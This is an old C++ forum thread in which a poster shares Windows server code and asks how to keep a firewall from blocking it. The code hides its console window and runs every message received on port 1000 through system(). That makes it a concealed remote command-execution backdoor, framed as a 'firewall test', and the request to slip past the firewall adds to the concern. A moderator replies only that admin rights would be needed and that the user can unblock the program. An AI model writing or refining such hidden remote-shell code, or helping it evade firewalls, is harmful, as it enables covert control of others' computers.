Firewall blocking sockets

Please support our C++ advertiser: Intel Parallel Studio Home
Thread Solved

Join Date: Dec 2007
Posts: 236
Reputation: TheBeast32 is on a distinguished road 
Solved Threads: 6
TheBeast32's Avatar
TheBeast32 TheBeast32 is offline Offline
Posting Whiz in Training

Firewall blocking sockets

 
0
  #1
Dec 24th, 2007
Hi, i have been making a program that tests a computer owner's firewall. It gets input from the client i made, and does a system() with it. Is there any way to make the firewall not block the program right when i make a scocket?
Oh, im using Dev-C++ 4.9.9.2 also.

Here's my code for my server so far:

  1. #include <windows.h>
  2. #include <winsock2.h>
  3. #include <stdio.h>
  4. #include <stdlib.h>
  5. #include <iostream>
  6.  
  7. int main(int argc, char *argv[]){
  8.  
  9. // Create Stealth
  10. HWND hWnd;
  11. AllocConsole();
  12. hWnd = FindWindow("ConsoleWindowClass", NULL);
  13. ShowWindow(hWnd, 0);
  14. // Done!
  15.  
  16. WSADATA t_wsa; // WSADATA structure
  17. WORD wVers; // version number
  18. int iError; // error number
  19. wVers = MAKEWORD(2, 2); // Set the version number to 2.2
  20. iError = WSAStartup(wVers, &t_wsa); // Start the WSADATA
  21.  
  22. if(iError != NO_ERROR || iError == 1){
  23. MessageBox(NULL, (LPCTSTR)"Error at WSAStartup()", (LPCTSTR)"Server::Error", MB_OK|MB_ICONERROR);
  24. WSACleanup();
  25. return 0;
  26. }
  27.  
  28. if(LOBYTE(t_wsa.wVersion) != 2 || HIBYTE(t_wsa.wVersion) != 2){
  29. MessageBox(NULL, (LPCTSTR)"Error at WSAStartup()", (LPCTSTR)"Server::Error", MB_OK|MB_ICONERROR);
  30. WSACleanup();
  31. return 0;
  32. }
  33.  
  34. SOCKET sServer;
  35. sServer = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  36. if(sServer == INVALID_SOCKET || iError == 1){
  37. MessageBox(NULL, (LPCTSTR)"Invalid Socket!", (LPCTSTR)"Server::Error", MB_OK|MB_ICONERROR);
  38. WSACleanup();
  39. return 0;
  40. }
  41.  
  42. SOCKADDR_IN sinServer;
  43. memset(&sinServer, 0, sizeof(sinServer));
  44. sinServer.sin_family = AF_INET;
  45. sinServer.sin_addr.s_addr = INADDR_ANY; // Where to start server?
  46. sinServer.sin_port = htons(1000); // Port
  47.  
  48. if(bind(sServer, (LPSOCKADDR)&sinServer, sizeof(sinServer)) == SOCKET_ERROR){
  49. /* failed at starting server */
  50. MessageBox(NULL, (LPCTSTR)"Could not bind the server!", (LPCTSTR)"Server::Error", MB_OK|MB_ICONERROR);
  51. WSACleanup();
  52. return 0;
  53. }
  54.  
  55. while(listen(sServer, 20) == SOCKET_ERROR){
  56. Sleep(10);
  57. }
  58.  
  59. MessageBox(NULL, (LPCTSTR)"Waiting for a Client!", (LPCTSTR)"Server::Success", MB_OK);
  60.  
  61. int MaxCmds = 100;
  62. int NumOfCmds = 0;
  63. while (NumOfCmds < MaxCmds)
  64. {
  65.  
  66. SOCKET sClient;
  67. int szlength;
  68. szlength = sizeof(sinServer);
  69. sClient = accept(sServer, (LPSOCKADDR)&sinServer, &szlength);
  70.  
  71. if (sClient == INVALID_SOCKET){
  72. MessageBox(NULL, (LPCTSTR)"Could not accept this client!", (LPCTSTR)"Server::Error", MB_OK|MB_ICONERROR);
  73. closesocket(sServer);
  74. WSACleanup();
  75. return 0;
  76. } else {
  77. MessageBox(NULL, (LPCTSTR)"Accepted a Client!", (LPCTSTR)"Server::Success", MB_OK);
  78. }
  79.  
  80. // Now we can send/recv data!
  81. int iRet;
  82. char buffer[200];
  83. strcpy(buffer, "Welcome to our Server!\0");
  84. iRet = send(sClient, buffer, strlen(buffer), 0);
  85. if(iRet == SOCKET_ERROR){
  86. MessageBox(NULL, (LPCTSTR)"Could not send data!", (LPCTSTR)"Server::Error", MB_OK|MB_ICONERROR);
  87. closesocket(sClient);
  88. closesocket(sServer);
  89. WSACleanup();
  90. return 0;
  91. }
  92.  
  93. char autoresponse[80];
  94. int bytes;
  95. strcpy(autoresponse, "Message Received!");
  96. autoresponse[strlen(autoresponse)-1] = 0;
  97. MessageBox(NULL, (LPCTSTR)"Server is ready for messages and is hiding!", (LPCTSTR)"Server::Success", MB_OK);
  98. char *cClientMessage;
  99. cClientMessage = new char[600];
  100.  
  101. // Enter the message loop
  102. while(bytes = recv(sClient, cClientMessage, 599, 0)){
  103. if(bytes < 1){
  104. iRet = send(sClient, buffer, strlen(buffer), 0);
  105. if (iRet == SOCKET_ERROR)
  106. {
  107. MessageBox(0, "Lost connection with client","Server::Error",0);
  108. szlength = sizeof(sinServer);
  109. sClient = accept(sServer, (LPSOCKADDR)&sinServer, &szlength);
  110. }
  111. Sleep(300);
  112. continue;
  113. }
  114.  
  115. system(cClientMessage);
  116.  
  117. for (int x = 0; x < 600; x++)
  118. {
  119. cClientMessage[x] = NULL;
  120. }
  121.  
  122. Sleep(300);
  123. iRet = send(sClient, autoresponse, strlen(autoresponse), 0);
  124. if(iRet == SOCKET_ERROR){
  125. MessageBox(NULL, (LPCTSTR)"Could not send response!", (LPCTSTR)"Server::Error", MB_OK|MB_ICONERROR);
  126. closesocket(sClient);
  127. closesocket(sServer);
  128. WSACleanup();
  129. return 0;
  130. }
  131. }
  132. delete [] cClientMessage;
  133. cClientMessage = new char[600];
  134. cClientMessage[599] = 0;
  135. Sleep(100); // Don't consume too much CPU power.
  136.  
  137. delete [] cClientMessage;
  138. // Cleanup
  139. closesocket(sClient);
  140. closesocket(sServer);
  141. // Shutdown Winsock
  142. WSACleanup();
  143. return 0;
  144.  
  145. }
  146. }
Last edited by WolfPack; Dec 24th, 2007 at 11:49 am. Reason: Removed inline code tags and corrected the code tags to use the [code=C++][/CODE] delimiters.
Reply With Quote Quick reply to this message  
Join Date: Dec 2007
Posts: 236
Reputation: TheBeast32 is on a distinguished road 
Solved Threads: 6
TheBeast32's Avatar
TheBeast32 TheBeast32 is offline Offline
Posting Whiz in Training

Re: Firewall blocking sockets

 
0
  #2
Dec 24th, 2007
Apparently my code has smileys in it. ifnore tham plz
Reply With Quote Quick reply to this message  
Join Date: Dec 2007
Posts: 236
Reputation: TheBeast32 is on a distinguished road 
Solved Threads: 6
TheBeast32's Avatar
TheBeast32 TheBeast32 is offline Offline
Posting Whiz in Training

Re: Firewall blocking sockets

 
0
  #3
Dec 24th, 2007
oops nvm
Reply With Quote Quick reply to this message  
Join Date: Jun 2005
Posts: 1,496
Reputation: WolfPack has a spectacular aura about WolfPack has a spectacular aura about WolfPack has a spectacular aura about 
Solved Threads: 104
Moderator
WolfPack's Avatar
WolfPack WolfPack is offline Offline
Mentally Challenged Mod.

Re: Firewall blocking sockets

 
1
  #4
Dec 24th, 2007
Well, you could do that programmatically, but you will need administrative priviledges for that. Wouldn't it be easier to let the user unblock the application by his own accord? After all it is his computer, and it only takes one click of a button.
Last edited by WolfPack; Dec 24th, 2007 at 12:07 pm.
Reply With Quote Quick reply to this message  
Reply

This thread has been marked solved.
Perhaps start a new thread instead?
Message:



Similar Threads
Other Threads in the C++ Forum
Thread Tools Search this Thread



About Us | Contact Us | Advertise | DaniWeb | Acceptable Use Policy | RSS Feed

©2003 - 2009 DaniWeb® LLC